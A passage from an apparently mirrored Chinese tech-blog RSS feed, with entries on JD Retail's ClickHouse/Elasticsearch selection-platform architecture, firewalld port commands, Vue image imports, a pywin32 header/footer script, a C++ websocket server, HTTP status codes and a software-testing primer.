据直连索引库分片的方式进行数据写入。&#xA;接着看实时数据处理流程，对于分布式大数据量，实时数据处理流程的复杂度是高于离线数据处理流程的。实时数据处理的难点主要在于大量数据如何按照我们的标准格式快速接入到查询索引里。为了达成这个系统设计目标，我们参考了业内很多的分布式数据库设计思路，把实时数据处理流程分成两阶段，写入阶段和合并数据阶段。&#xA;其中写入阶段目标是把数据能够较快的落库，考虑最核心的是性能，所以我们采用的方案主要是按照原数据流格式直接不做复杂逻辑处理就进行直接入库，整个数据的格式比较灵活。合并数据阶段目标是把数据处理成目标格式，所以这里的服务处理可以做一定的定制处理，来把多样格式的数据处理成统一的目标格式。&#xA;通过这样一套底层索引的架构设计，我们通过宽表的查询索引表结构保证了选品实时查询的效率，通过实时和离线双路流程保证了数据的同步传输效率。下图为整体架构图：&#xA;7. 结语 京东零售选品平台初版上线于2021年Q3，整个平台的架构设计，包含了系统工程和数据处理两大方面的研发知识体系，对于团队和我个人是一个挑战和机遇。通过这次平台的落地过程，团队完成了很多成绩也踩过很多坑，相对于完成的成绩，我们更感谢这些出现过的问题和踩过的坑，因为团队正是从这一个一个的困难问题中得到了历练，不管从技术深度还是广度上都提升了很多。</description>
    </item>
    <item>
      <title>京东云ClickHouse和ES双引擎设计在零售选品中的应用实践</title>
      <link>https://bchobby.github.io/posts/301af68ff71baaea1664d8fe35bd70f0/</link>
      <pubDate>Thu, 14 Dec 2023 10:13:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/301af68ff71baaea1664d8fe35bd70f0/</guid>
      <description>背景介绍&#xA;涅槃选品是京东零售内的战略级bigboss项目，项目主要致力于构建商品底层能力，打通提报、投放流程，实现选品的线上化、规则化与智能化；通过多方协作盘货，充分表达营销、品类、运营/采销等多方意志。&#xA;业务上的多样化需求，导致在项目初期面临以下众多技术难点与挑战。&#xA;面向研发排障的问题解决&#xA;为解决以上技术难点，京东零售整体设计了一套这样的技术方案：&#xA;技术方案在数据存储查询上主要分成三个大模块：&#xA;模块一：ClickHouse与Elasticsearch存储结构设计模块；&#xA;模块二：ClickHouse数据推送与校验模块；&#xA;模块三：Elasticsearch数据推送与校验模块。&#xA;一、具体技术方案 主要解决的问题分为三点，第一点是解决快速筛选、快速多维统计查询两项不可兼得的问题，第二点是解决海量商品特征数据导入效率低的问题，第三点是解决海量商品特征数据占用存储资源较高的问题。本场景是一个商品规则化选品平台的项目，电商平台上有数百亿的商品，每一个商品都具有不同的特征数据，平台会持续发布一些营销活动，店铺可以提报部分商品参与这些营销活动，以达到平台营销、商家卖货的目的，而一个商家想要对本店铺的商品进行精准提报的话，就需要根据一定的规则选出目标商品，并且期望这些商品提报后能收到很好的效果；为了满足这一需求，会计算出全量商品的特征数据，全量商品数据量大概在百亿级别，通过前期的一些粗过滤，排除掉那部分很明显不适合参与活动的商品后，最终生成一个大宽表，包含数亿商品和数百个标签。&#xA;一般的做法是将数据直接导入数据库，或者是对数据进行一些预处理后导入数据库，提供给到检索平台进行查询，但是每种数据库都有其专长，几乎没有一种数据库在同时满足快速简单筛选的同时还能满足快速多维统计的查询需求；另外，大量的筛选任务需要历史数据，随着项目周期增长，历史数据占用大量存储资源的同时，还会影响整体查询效率。&#xA;本文提出Elasticsearch结合ClickHouse的方法，在存储上提出快照表的概念，基于Spark对Elasticsearch和ClickHouse进行离线数据导入和校验的方案，在仅保存两份全量最新数据的情况下，大幅降低了存储资源占用，兼顾了快速筛选和多维度统计查询，同时又能快速导入商品特征数据，极大的提高了数据的更新时效。&#xA;具体方法如下：&#xA;1、ClickHouse与Elasticsearch存储结构设计，具体方案细节如下： a、存储上采用ClickHouse结合Elasticsearch的方案，主要是为了兼顾快速筛选（多基于Elasticsearch进行）的同时，还能进行快速多维统计查询（多基于ClickHouse进行），双存储引擎首先会遇到一个问题，就是两份数据的一致性问题，本发明通过在ClickHouse和Elasticsearch数据导入阶段进行数据验证来保证数据的一致性；&#xA;b、检索平台在进行数据查询的时候，在时间范围上分为两种，一种是新任务的实时查询，针对这部分任务，本发明在ClickHouse和Elasticsearch中分别建立一张表，ClickHouse每天生成一张新表，该表包含每个分片上的分布式表和本地表，分布式表用于进行数据查询，本地表设计为ReplicatedReplacingMergeTree引擎，用于数据导入，每日最新数据导入完成并数据校验通过后会清除该表的历史数据；Elasticsearch每天根据商品的类目信息分类，生成一批索引，这里之所以不用一个索引，是因为一个索引中数据量过大会影响查询效率，每日最新数据导入完成并数据校验通过后会清除历史索引的数据；&#xA;另一种是历史任务的实时查询，这部分查询需要用到历史数据，针对这类查询，本发明设计出一套快照表的概念，具体方案细节是：每日凌晨会针对前一天新建的任务进行一次遍历查询，获取到具体的商品id后，在数据仓库中进行加工，最终获取到前一天新建任务的全量商品特征数据，这部分数据不会再发生更新，是前一天新建任务的一个快照，在ClickHouse和Elasticsearch中分别建立一张快照表进行存储，与每日存储最新数据不同的是，Elasticsearch中的快照索引是根据快照数据中的任务信息生成的一批索引，不再是根据商品的类目信息，因为后续所有针对快照数据的查询，均是在一个任务范围内，这样设计能实现能快的查询效率。&#xA;c、除了上述两种时间范围上的查询，本场景还存在一种二次选品的实时查询，二次选品是指在历史任务的基础之上，再次进行简单的筛选，获取目标商品，这种选品场景比较特殊的是要用到一部分实时标签，针对这部分实时标签的存储设计，本发明采用了Elasticsearch的父子文档；具体方案是：每天在Elasticsearch中根据任务信息生成一批索引（架构图中的回流表），存储历史任务的商品特征数据，与快照不同的是，这批索引每天存储尚在有效期内的全量历史数据，并且索引采用的是父子文档结构，每天离线数据导入完成并数据校验通过后会清除历史索引数据，离线任务数据导入索引父文档，Structured-streaming任务会实时对子文档中的标签进行更新，这么设计，是因为父文档中存在数百个标签，每次更新效率低下，将仅有的几个实时标签放入子文档中更新，效率会比较高。&#xA;2、ClickHouse数据推送与校验 ClickHouse数据推送与校验架构流程图如下：&#xA;具体方案实施细节如下：&#xA;a、每日在数据仓库中对商品、用户、流量等数据进行加工融合，生成所需商品的特征数据，最终产生一张特征数据宽表；&#xA;b、启动Spark任务，首先读取到上一步产生的数据宽表，对数据进行处理，主要包含：根据配置文件中的ClickHouse表字段类型，对每个标签字段进行类型转换，对空值进行填充处理（ClickHouse表默认不能存储空值），对需要存储为Array、Nested等结构的字段进行特殊处理、格式转换等；&#xA;c、Spark任务从配置文件中获取到需要在ClickHouse中创建的表元数据信息，在ClickHouse集群中首先进行检测，查验最新表是否存在（分布式表和本地表是否都存在），如果存在则先进行数据删除（清除当天的误写的错误数据，不是历史数据），然后校验当前表的结构和配置文件是否一致，不一致则进行字段删除、字段增加等操作，保证表结构和配置文件一致；如果表不存在，则新建表，首先根据配置文件新建ClickHouse集群每个节点上的本地表，本地表引擎为ReplicatedReplacingMergeTree，而后根据本地表新建分布式表，本地表引擎设计为ReplicatedReplacingMergeTree主要有以下目的：一是利用Zookeeper的能力，保证ClickHouse每个分片中的副本间数据一致，这样数据导入只需要导入每个分片中的一个节点即可；二是利用ReplacingMergeTree引擎的能力，在数据导入完成后，进行optimize操作，来保证每个节点上没有重复数据；&#xA;d、对ClickHouse的表进行新建或更新完成后，Spark对读取到的数据，依据数据主键字段进行数据分配（对主键进行hash，再对ClickHouse的分片数量进行取模），以保证每个分片上的数据具有相同的规则，然后对分配好的数据进行repartition操作，将数据集控制到集群能接受的并行度，最后在Spark的Driver端多线程并行启动数据推送程序，利用JDBC的PreparedStatement按一定批次将数据写入ClickHouse表，以降低Spark对ClickHouse的请求频次；&#xA;e、在每个分片上的数据推送完成后，Spark会按照既定的规则对ClickHouse中的数据进行验证，本发明以商品的类目维度进行校验，即查询ClickHouse中所有类目下的数据量，和Spark从仓库中获取到的数据量进行校验，校验过程中会出现以下三种情况：&#xA;一是ClickHouse与仓库中统计到的数据量一致，那么当前类目数据验证通过；&#xA;二是ClickHouse中统计到的数据量要大于仓库中统计到的数据量，这时对当前分片的本地表进行optimize操作，合并数据后，再进行数据验证；&#xA;三是ClickHouse中统计到的数据量要小于仓库中统计到的数据量，这时对当前分片本地表中当前校验类目的数据进行重新推送，推送完成后再进行数据校验；&#xA;采取分维度的方式进行数据校验，能便于发现数据导入中的出现问题、及时高效的完成数据导入和校验；在整体数据校验通过后，Spark任务会将当前的时间版本回传给数据检索平台，告知ClickHouse中的最新数据已可用，然后对前天的历史数据进行清理，降低整体的存储资源占用。&#xA;该方案同样适用于快照数据、二次选品等数据的导入，仅是数据清理策略上不同。&#xA;3、Elasticsearch数据推送与校验 Elasticsearch数据推送与校验架构流程图如下：&#xA;具体方案实施细节如下：&#xA;a、每日在数据仓库中对商品、用户、流量等数据进行加工融合，生成所需商品的特征数据，最终产生一张特征数据宽表（该步骤与ClickHouse数据推送与校验中的第一步共用）；&#xA;b、启动Spark任务，首先读取到上一步产生的数据宽表，对数据进行处理，主要包含：根据配置文件中的Elasticsearch索引字段类型，对每个标签字段进行类型转换，用ClickHouse导入模块中相同的方式对空值进行填充处理（保证与ClickHouse中的数据一致性），对需要存储为Array、Nested等结构的字段进行特殊处理、格式转换，当推送的索引为父子文档时，还需要对数据集进行重组，以满足父子文档的数据结构；&#xA;c、Spark任务对数据集进行数据分维度统计，以便于创建一系列的索引，本发明是对数据集在商品类目维度上进行统计，得到每个类目的数据量后，依据当前Elasticsearch索引最新的配置信息，在Elasticsearch集群中创建既定数量的索引，再依据一定的算法逻辑，将每个类目分配到其中的一个索引上，保证同一类目的商品数据一定处于同一个索引中，而且每个索引的数据量尽可能的均匀；这样设计的目的是为了避免一个索引中数据量过大影响查询效率，同时能一定程度上提升整体的查询并发性能，而且该方案可依据业务体量进行横向扩充，比如增加集群数量；&#xA;d、从上一步中获取到了数据集每个类目的Elasticsearch索引归属信息，依据该关系，Spark任务对全量数据集进行分桶处理，每一个数据桶中的数据全部属于同一个Elasticsearch索引，分桶完成后基于Elasticsearch的Bulkprocessor方法，将数据批量的写入Elasticsearch，整体的写入逻辑是：以数据集的主键为Elasticsearch索引的_id，多集群的索引并行写、同集群的索引串行写；采用这种方式能避免同一个Elasticsearch集群存在多个写入点，导致大量reject，致使数据写入效率低下的问题，而多集群不存在共用写入点的问题，可以采用并行写来提升写入效率，同时以主键为_id，能避免数据写入重复的问题；&#xA;e、在每个索引的数据推送完成后，Spark会按照既定的规则对Elasticsearch中的数据进行验证，本发明以商品的类目维度进行校验，即查询Elasticsearch集群每个索引中所有类目下的数据量，和Spark从仓库中获取到的数据量进行校验，校验过程中会出现以下两种情况：&#xA;一是Elasticsearch与仓库中统计到的数据量一致，那么当前类目数据验证通过；&#xA;二是Elasticsearch中统计到的数据量要小于仓库中统计到的数据量，这时对当前类目的数据进行重复导入，数据导入完成后，再进行数据验证；&#xA;采取分维度的方式进行数据校验，能便于发现数据导入中的出现问题、及时高效的完成数据导入和校验；在整体数据校验通过后，Spark任务会将当前的时间版本回传给数据检索平台，告知Elasticsearch中的最新数据已可用，然后对前天的历史数据进行清理，降低整体的存储资源占用。&#xA;该方案同样适用于快照数据、二次选品等数据的导入，仅是数据清理策略上不同。&#xA;二、技术方案实施流程 具体流程如下：&#xA;三、测试结论 目前全量商品特征数据超过10亿，共490个标签，每天离线导入ClickHouse用时40min（40个分片），相较之前直写分布式表的方式，导入耗时平均降低80%；每天离线导入Elasticsearch用时2小时（单集群，可横向扩充），相较单索引写入的方式（偶尔会写不进去），导入耗时平均降低60%；在支持简单筛选和上下钻、top、窗口查询、多维度排序、关联聚合等复杂查询的同时，线上检索平台qps最高能达到300左右，tp99在毫秒级别；相较普通做法，本方案的方法将存储资源降低了60%-70%。&#xA;未来展望&#xA;该技术方案自项目上线以来，支撑了多场景、多业务方、多样化的选品流程，为整个选品的规则化、线上化、智能化提供了数据和索引的底层能力，虽然该方案满足了目前多方业务的切实需求，但是仍然存在很多优化点、扩展点待改进，具体如下：&#xA;一、双引擎的设计，虽然使目前这一套复杂的选品平台能够在巨量级数据（10亿实体、600+标签）上兼顾了快速筛选和复杂计算的能力，但是也会导致一个比较致命的问题，那就是双引擎数据一致性的问题，目前采取的方式是采取同一套默认值，数据更新后进行校验，但是每天校验的时间一定程度上影响了整体的数据更新时效，因此，这一块是后续需要去优化的一个比较重要的点。&#xA;二、目前整套系统600+标签，99%都是离线标签，实时标签仅有个位数，但是一个好的选品平台，肯定需要大量实时标签的加持；实时标签的写入、更新、索引建立，和离线标签比较起来有很大的不同，对上述所提到的数据一致性也会带来比较大的挑战，甚至是影响整个数据索引底层的架构设计。</description>
    </item>
    <item>
      <title>linux 防火墙systemctl (个人笔记)</title>
      <link>https://bchobby.github.io/posts/23133ae01601c397095d7fda89aff70c/</link>
      <pubDate>Thu, 14 Dec 2023 09:52:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23133ae01601c397095d7fda89aff70c/</guid>
      <description>查看 systemctl status firewalld&#xA;开启 systemctl start firewalld&#xA;关闭 systemctl stop firewalld.service&#xA;查看所有&#xA;firewall-cmd --zone=public --list-ports&#xA;开放端口：// --permanent 永久生效,没有此参数重启后失效&#xA;firewall-cmd --zone=public --add-port=9527/tcp --permanent&#xA;firewall-cmd --zone=public --add-port=9528/tcp --permanent&#xA;重新载入&#xA;firewall-cmd --reload&#xA;删除端口：// --permanent 永久生效,没有此参数重启后失效&#xA;firewall-cmd --zone=public --remove-port=9528/tcp --permanent&#xA;查看指定端口的状态&#xA;firewall-cmd --zone=public --query-port=80/tcp</description>
    </item>
    <item>
      <title>Import image from vue with vite configured</title>
      <link>https://bchobby.github.io/posts/31c8b867838a69ae69ba6fd1a1be21d3/</link>
      <pubDate>Thu, 14 Dec 2023 09:29:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31c8b867838a69ae69ba6fd1a1be21d3/</guid>
      <description>I am learning vue.js, in an example like below, but when I run the code, the image can’t display.&#xA;&amp;lt;template&amp;gt; &amp;lt;img v-bind:src=&#34;logo&#34; /&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script setup&amp;gt; const logo = &#39;../assets/logo.png&#39;; &amp;lt;/script&amp;gt; When I visit http://localhost:3000, it report the following error:&#xA;http://localhost:3000/assets/logo.svg not found When I changed .. to @, it still report error like below:&#xA;http://localhost:3000/@/assets/logo.svg not found And finally I find that I need to use import statement like below:</description>
    </item>
    <item>
      <title>python 学习笔记20 批量修改页眉页脚</title>
      <link>https://bchobby.github.io/posts/0b675a8e376cc1abb2b64332a25de1af/</link>
      <pubDate>Thu, 14 Dec 2023 08:26:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b675a8e376cc1abb2b64332a25de1af/</guid>
      <description>需求：修改指定目录下所有文件的页眉页脚，或者往里面添加内容。&#xA;1. 这里做了word的实现和excel的实现，如下：&#xA;需要先安装 pip3 install pywin32，另外页眉页脚格式设置可以参考：&#xA;word：&#xA;浅谈Word.Application，关于js操作word文档的使用_new word.application-CSDN博客&#xA;excel：&#xA;Python操作Excel教程（图文教程，超详细）Python xlwings模块详解，_xlwings教程-CSDN博客&#xA;import os import xlwings as xw import win32com.client as win32 import pythoncom #将需要替换页眉页脚的文档放到path下 path = r&#39;C:\Users\d\Desktop\pdf改名脚本\22\2022年\test&#39; #原始页眉页脚内容 old_name = u&#39;999&#39; #新页眉页脚内容 new_name = u&#39;888&#39; #替换失败记录日志 err_log = path + u&#39;\\head修改出错列表.txt&#39; def log(text): with open( err_log,&#34;a+&#34; ) as f: f.write(text) f.write(&#39;\n&#39;) def change_headerfooter(path): &#39;&#39;&#39; 更改文件的页眉页脚 &#39;&#39;&#39; pythoncom.CoInitialize() word = win32.Dispatch(&#39;Word.Application&#39;) #print(dir(word)) word.Visible = 0 word.DisplayAlerts = 0 exapp = xw.</description>
    </item>
    <item>
      <title>c&#43;&#43; websocket 协议分析与实现</title>
      <link>https://bchobby.github.io/posts/f3143038190f0d9e9dcbd1586740e6ed/</link>
      <pubDate>Wed, 13 Dec 2023 21:46:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3143038190f0d9e9dcbd1586740e6ed/</guid>
      <description>前言&#xA;网上有很多第三方库，nopoll,uwebsockets,libwebsockets,都喜欢回调或太复杂，个人只需要在后端用，所以手动写个；&#xA;1:环境&#xA;ubuntu18&#xA;g++(支持c++11即可)&#xA;第三方库:jsoncpp,openssl&#xA;2:安装&#xA;jsoncpp 读取json 配置文件 用 自动安装 网上一堆教程&#xA;openssl 如果系统没带，需要安装下 sudo apt-get install openssl 一般是1.1版本 够用了&#xA;3：websocket server&#xA;1&amp;gt; 主要就用到 epoll 模式(io_uring 更好点，就是内核版本要高点)，3个进程 主进程作为监控进程 2个子进程 一个network进程 一个 logic 进程&#xA;2&amp;gt; 子进程间 主要通过共享内存 加socketpair 通知 交换数据&#xA;3&amp;gt;websocket 握手协议 先看例子&#xA;上前端代码 html&#xA;&amp;lt;!DOCTYPE HTML&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta http-equiv=&#34;content-type&#34; content=&#34;text/html&#34; /&amp;gt; &amp;lt;meta name=&#34;author&#34; content=&#34;https://github.com/&#34; /&amp;gt; &amp;lt;title&amp;gt;websocket test&amp;lt;/title&amp;gt; &amp;lt;script&amp;gt; var socket; function Connect(){ try{ socket=new WebSocket(&#39;ws://192.168.1.131:9000&#39;); //&#39;ws://192.168.1.131:9000&#39;); }catch(e){ alert(&#39;error catch&#39;+e); return; } socket.</description>
    </item>
    <item>
      <title>常见的http状态码出现原因200、301、302、403、404、500、503</title>
      <link>https://bchobby.github.io/posts/8016ea3caaebe72bc21083e7405c54a1/</link>
      <pubDate>Wed, 13 Dec 2023 20:21:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8016ea3caaebe72bc21083e7405c54a1/</guid>
      <description>101 websocket协议 websocket长连接协议，通常用来即时通讯。如视频会议、直播、弹幕等&#xA;200 请求被成功处理 成功请求&#xA;301 永久性重定向 比如建设一个网站后，将网站的url变换了，重新申请一个域名，但是希望之前的用户访问之前url仍然可以访问到，就可以做一个重定向新的url下面。比如京东最早域名www.360buy.com名重定向到现在www.jd.com&#xA;302 临时性重定向 比如用户在未登录时访问个人中心页面，这时可以临时重定向到登录的url。&#xA;304 Not Modified 当客户端拥有可能过期的缓存时，会携带缓存的标识 etag、时间等信息询问服务器缓存是否仍可复用，而304是告诉客户端可以 复用缓存。&#xA;400 请求出错 由于语法格式有误，服务器无法理解此请求。不作修改，客户程序就无法重复此请求。&#xA;401 未授权 （未授权） 请求要求身份验证。 对于需要登录的网页，服务器可能返回此响应。&#xA;403 没有访问权限 系统中某些页面只有在某些权限下才能访问，当用户去访问了一个本身没有访问权限的url，回报403错误。&#xA;404 没有对应资源 一般是自己输入了一个url，这个url并不合法。&#xA;404 找不到，Web 服务器找不到您所请求的文件或脚本。&#xA;请检查URL 以确保路径正确。&#xA;405 不允许此方法 405 不允许此方法，对于请求所标识的资源，不允许使用请求行中所指定的方法。(get/post/put/delete/请求用混淆了，更正即可)&#xA;请确保为所请求的资源设置了正确的 MIME 类型&#xA;406 不可接受 根据此请求中所发送的“接受”标题，&#xA;此请求所标识的资源只能生成内容特征为“不可接受”的响应实体&#xA;407 需要代理身份验证 407 需要代理身份验证，在可为此请求提供服务之前，&#xA;您必须验证此代理服务器。请登录到代理服务器，然后重试&#xA;412 前提条件失败 在服务器上测试前提条件时，部分请求标题字段中所给定的前提条件估计为FALSE。&#xA;客户机将前提条件放置在当前资源 metainformation（标题字段数据）中，以防止所请求的方法被误用到其他资源&#xA;414 Request-URI 太长 414 Request-URI 太长，Request-URL太长，服务器拒绝服务此请求。仅在下列条件下才有可能发生此条件：&#xA;客户机错误地将 POST 请求转换为具有较长的查询信息的 GET 请求客户机遇到了重定向问题（例如，指向自身的后缀的重定向前缀）服务器正遭受试图利用某些服务器（将固定长度的缓冲区用于读取或执行 Request-URI）中的安全性漏洞的客户干扰 500 服务器错误 比如服务器某一个函数代码出错了，有没有捕获异常，这时候会报500错误。</description>
    </item>
    <item>
      <title>七天搞定软件测试，这一篇教程就够了，学完最少能拿13k</title>
      <link>https://bchobby.github.io/posts/a763c1d13bd3e86d966d9ac374a98dcb/</link>
      <pubDate>Wed, 13 Dec 2023 19:57:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a763c1d13bd3e86d966d9ac374a98dcb/</guid>
      <description>前言&#xA;在软件开发的世界中，软件测试是不可或缺的一部分。它是确保软件质量、功能完整性和用户满意度的关键环节。本文小编将为大家介绍各类软件测试的奥秘，并提供入门级的指导和见解。&#xA;本文内容概要：&#xA;软件测试是什么？黑盒测试vs白盒测试自动化测试vs手工测试功能测试方法论非功能测试方法论软件测试生命周期软件测试最佳实践 软件测试是什么？&#xA;软件测试是在开发流程中被开发者用来持续地评估和纠正特性的功能性的一个循环进行的步骤。软件测试比对软件的当前构建和软件需求，以确认没有疏漏的需求。同样需要验证的是，软件在跨越不同媒介时、与现有软件集成时运行正确。&#xA;软件测试是如何运作的？&#xA;测试软件有不少办法。通常来讲，开发者首先决定一个需要验证的行为或者特性，创建一个测试来确认特性，接着要么修改特性，要么通过测试就直接继续后面事情了。&#xA;在早期软件设计哲学中，测试经常完全被忽视。现在软件已经变得更加复杂，在更大规模被实现，而且在不同设备与操作系统间各不相同。现代的开发周期中，软件测试已经是必要的部分了。它扮演着QA一种不断发展的形式，验证软件可以对各种可能的使用场景和环境正常响应。&#xA;黑盒测试vs白盒测试&#xA;软件测试有很多不同类型,每种类型在测试中专攻特定的缺陷。所有的测试类型可以宽泛描述为黑盒或白盒测试。这个区分描述软件测试人员需要掌握的背景知识。&#xA;黑盒测试：测试人员知道软件产品应该实现什么而不知道是如何实现的。测试人员仅仅目睹了编程的结果或行为，他们自己不必成为程序员。测试人员经常是开发步骤外部的某些人，给出外部的观点。黑盒测试主要用于测试程序行为和评估用户体验。&#xA;白盒测试：白盒测试是黑盒测试的反面，测试人员的确知道软件的内部结构。这些测试人员通过特性测试用例输入的使用来评估源代码里面程序的逻辑。通过追踪这些输入的流动，测试人员可以验证这些测试用例在屏幕背后被正确处理。白盒测试人员常常是开发步骤内的程序员，他们被用于检查源代码的效率。&#xA;手工测试vs自动化&#xA;测试方法另一个主要分类是手工测试vs自动化测试。很多特定测试方法论可以同时被手工或自动化测试完成。这个区别描述测试是如何被完成的。&#xA;手工测试：&#xA;手工测试需要一个人类测试人员来扮演终端用户的角色，一次检查一个测试用例。这是测试的传统形式，可以找到自动化测试框架难以识别的问题（web应用元素的表现，令人困惑的布局等）。&#xA;自动化测试&#xA;自动化测试（或测试自动化）是使用软件的步骤，调用一个测试框架来创建使用期望输出对比当前程序输出的自动的测试用例。最常见的框架是Selenium和Cucumber。&#xA;自动测试框架的两个最常见的测试步骤是图形用户接口测试和API测试，前者模拟诸如点击或按键的用户接口事件，后者绕开用户接口来验证底层行为。自动化测试被用于快速执行输出驱动的测试或者为维护测试执行重复的测试用例。&#xA;功能测试方法论&#xA;现在我们将会讨论通过更加广泛类型区分的测试方法论，功能测试或非功能测试。这个区别描述测试关注的是软件行为还是内部运作。&#xA;功能测试&#xA;黑盒QA测试的一种类型测试的是从软件需求和说明书生成的测试用例。下方是不同功能测试方法论的一些常见类型。&#xA;最常见的功能方法论：&#xA;单元测试集成测试系统测试验收测试回归测试冒烟测试 常见功能测试步骤&#xA;绝大多数基础测试经历同样的四步，每个步骤测试范围更加宽广。步骤始于评估单一组件的单元测试，终于评估产品和初始计划关联性的验收测试。&#xA;单元测试：&#xA;单元测试被用于测试和其他组件分离开的程序组件。举个例子，面向对象程序中，你会在尝试连接到其他类前单元测试一个单独的类。这种类型的测试经常是开发者完成的，用于在无需等待完整测试周期下捕捉缺陷。单元测试绝大多数情况是自动执行的，用于快速获取到结果，但是也能手动进行。&#xA;集成测试：&#xA;集成测试用于测试诸多互相连接的程序组件的协同运行。这个测试经常是在单元测试后进行的，首先独立验证单一组件，然后验证组件协同的运行。&#xA;举个例子，你可以集成测试一个父类和两个关联子类来确保测试用于所有预期属性的用例的输入被分配给预期的类。集成测试，通常都是自动化的测试，是开发者完成的，用于验证互相关联的组件无缝衔接。&#xA;系统测试：&#xA;系统测试是一起使用所有组件来测试完整产品的构建的。当集成测试测试了互相连接的组件的模块后，系统测试测试所有组件集成后程序如何运作，并且在模块内部操作中捕捉缺陷。&#xA;验收测试：&#xA;验收测试（或用户验收测试）是一个在开发过程后期执行的，用来评估是否所有初始的特定需求是被最终产品构建满足的测试。内部和外部测试者都要评审初始产品说明书和业务需求，然后当他们使用产品时候逐一检查。使用最常见的apha测试（内部）和beta测试（外部）去做验收测试有很多途径。&#xA;专门的功能方法论&#xA;在上面步骤之外去测试一个程序的特定层面，也有经过微调的功能测试手段。下面是最常见的专门的功能方法论&#xA;回归测试&#xA;回归测试是在一个更新或改变后用于测试产品集成性的手段。回归测试套件要么在整个程序，要么仅仅在程序变了的部分运行自动测试。套件接着把输出和早期产品构建记录的输出进行比对。如果输出是匹配的，那么测试成功。如果它们以预期方式改变了，那么测试验证了功能有回归或还原。&#xA;回归测试是维护测试最常见的形式，因为其检查程序发布后表现如何。回归测试可以被定期执行来提供持续测试。&#xA;冒烟测试&#xA;冒烟测试（Smoke Testing）是软件测试中的一种测试方法，旨在快速验证系统的基本功能是否正常工作，以确保软件在进入更详细的测试阶段之前是可用的。&#xA;冒烟测试通常在软件构建或发布后的早期阶段进行，它会对软件的核心功能进行一系列的简单测试，以发现可能的严重问题或错误。这些测试通常是预先定义的基本功能测试用例，涵盖了软件的主要功能点。&#xA;冒烟测试的目标是在系统经过基本构建之后，对其进行表面层次的测试，以确保没有明显的错误或问题。如果冒烟测试失败，即发现了关键功能的严重问题，那么可能需要回退到先前的开发阶段并解决问题，以避免在后续的详细测试中浪费时间和资源。&#xA;冒烟测试的优点包括：&#xA;快速验证：冒烟测试可以在短时间内快速验证软件的基本功能，帮助发现可能的严重问题。提早发现问题：通过在早期阶段发现问题，可以节省后续测试阶段的时间和资源。提高软件质量：通过确保软件的基本功能正常工作，可以提高软件的质量和稳定性。 非功能测试方法&#xA;非功能测试方法测试一个程序如何运行，而不是特定程序表现的成功运行，举个例子，一个非功能测试可能测试的是一个程序在更大规模下如何的运行良好或者当系统运行很长一段时间后表现如何。由于非功能测试定义的主体性，很多非功能测试方法论关注点有所重叠。&#xA;常见非功能测试方法论：&#xA;性能测试安全测试可用性测试兼容性测试压力测试 让我们深入了解下这些方法论&#xA;性能测试：&#xA;性能测试是测试的一种常见形式，评估在预设负载下软件的运行速度、响应和可靠性等。如果软件正常运行，但是在这些分类里面任意一个没有满足期望标准，在继续其软件开发周期前，软件将会把打回开发者去提升性能。&#xA;安全测试：&#xA;安全测试被用于在使用了诸如基于账号的系统或金融系统软件的敏感信息的信息系统或软件中寻找缺点。下面是安全测试中的一些要求：&#xA;保密性：敏感信息是受约束的。完整性：数据不能被拷贝或修改。认证：用户比如被验证为是期望的用户。鉴权：用户必须拥有权限来查看敏感信息。可用性：当授权用户需要信息时，必须是可用的。不可否认性：通信两端的用户在发生通信前必须校验各自凭证 易用性测试：&#xA;易用性测试用于识别真正的终端用户会在哪里遇到困难或困惑。这个主要是在研究者观察下由一群受控的终端用户进行的。测试者被要求去执行特定任务，比如“创建一个账号”，但是却没有被告诉怎么去完成。他们然后使用产品来完成任务并给出关于体验的高质量反馈。这个方法论允许开发者获取到关于他们程序可用性和直观反应的真实反馈，并且无需很多的说明。&#xA;这个与a11y测试联系紧密，a11y测试记录能力各不相同的终端用户能多容易地操作软件。举个例子，文字转语音软件和web应用的可视化元素的交互如何。&#xA;兼容性测试：&#xA;兼容性测试评估在不同计算环境下软件表现如何。这个通常使用一个测试框架完成的。这种框架使用模拟不同目标设备的很多虚拟机器来执行同样的输入。每个VM的输出被记录和比对，以确认是否所有输出都是一样的并且跨越不同平台时候表现是否有所不同。这种测试确保无论终端用户在哪里使用，都有一致的体验。&#xA;举个例子：如果你曾经为iOS和安卓创建了一个移动端APP，你将会需要一个兼容测试，来验证那个APP在两个平台上以相同的预设级别运行。&#xA;压力测试：&#xA;压力测试是开发者把听他们的软件推送到一个极端测试用例，来验证软件的断点。最常见的压力测试是最大化并发用户来找出当前构建能承载的极限。整个压力测试中性能被完整记录，因此开发者可以发现软件断点，指出可接受级别下合适用户体验会降级。极限情况下，压力测试致力于找出系统在哪里会失效，因此你可以在当前产品版本下规避这些失效条件。&#xA;举个例子，设想你正在开发一个在线视频游戏。你可以通过在这个游戏中单次尽可能获得多的在线玩家来进行压力测试。你可以然后记录服务器平台的表现（速率、响应等），同样也能发现何时服务器会崩溃（断点）。&#xA;压力测试和负载测试高度重叠。负载测试记录软件在预期负载下的运行。压力测试记录软件在最大负载下的运行。</description>
    </item>
    <item>
      <title>etcd集群部署、备份还原、etcdctl命令行工具</title>
      <link>https://bchobby.github.io/posts/329cb543a1b846cf0b972795534d0552/</link>
      <pubDate>Wed, 13 Dec 2023 18:28:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/329cb543a1b846cf0b972795534d0552/</guid>
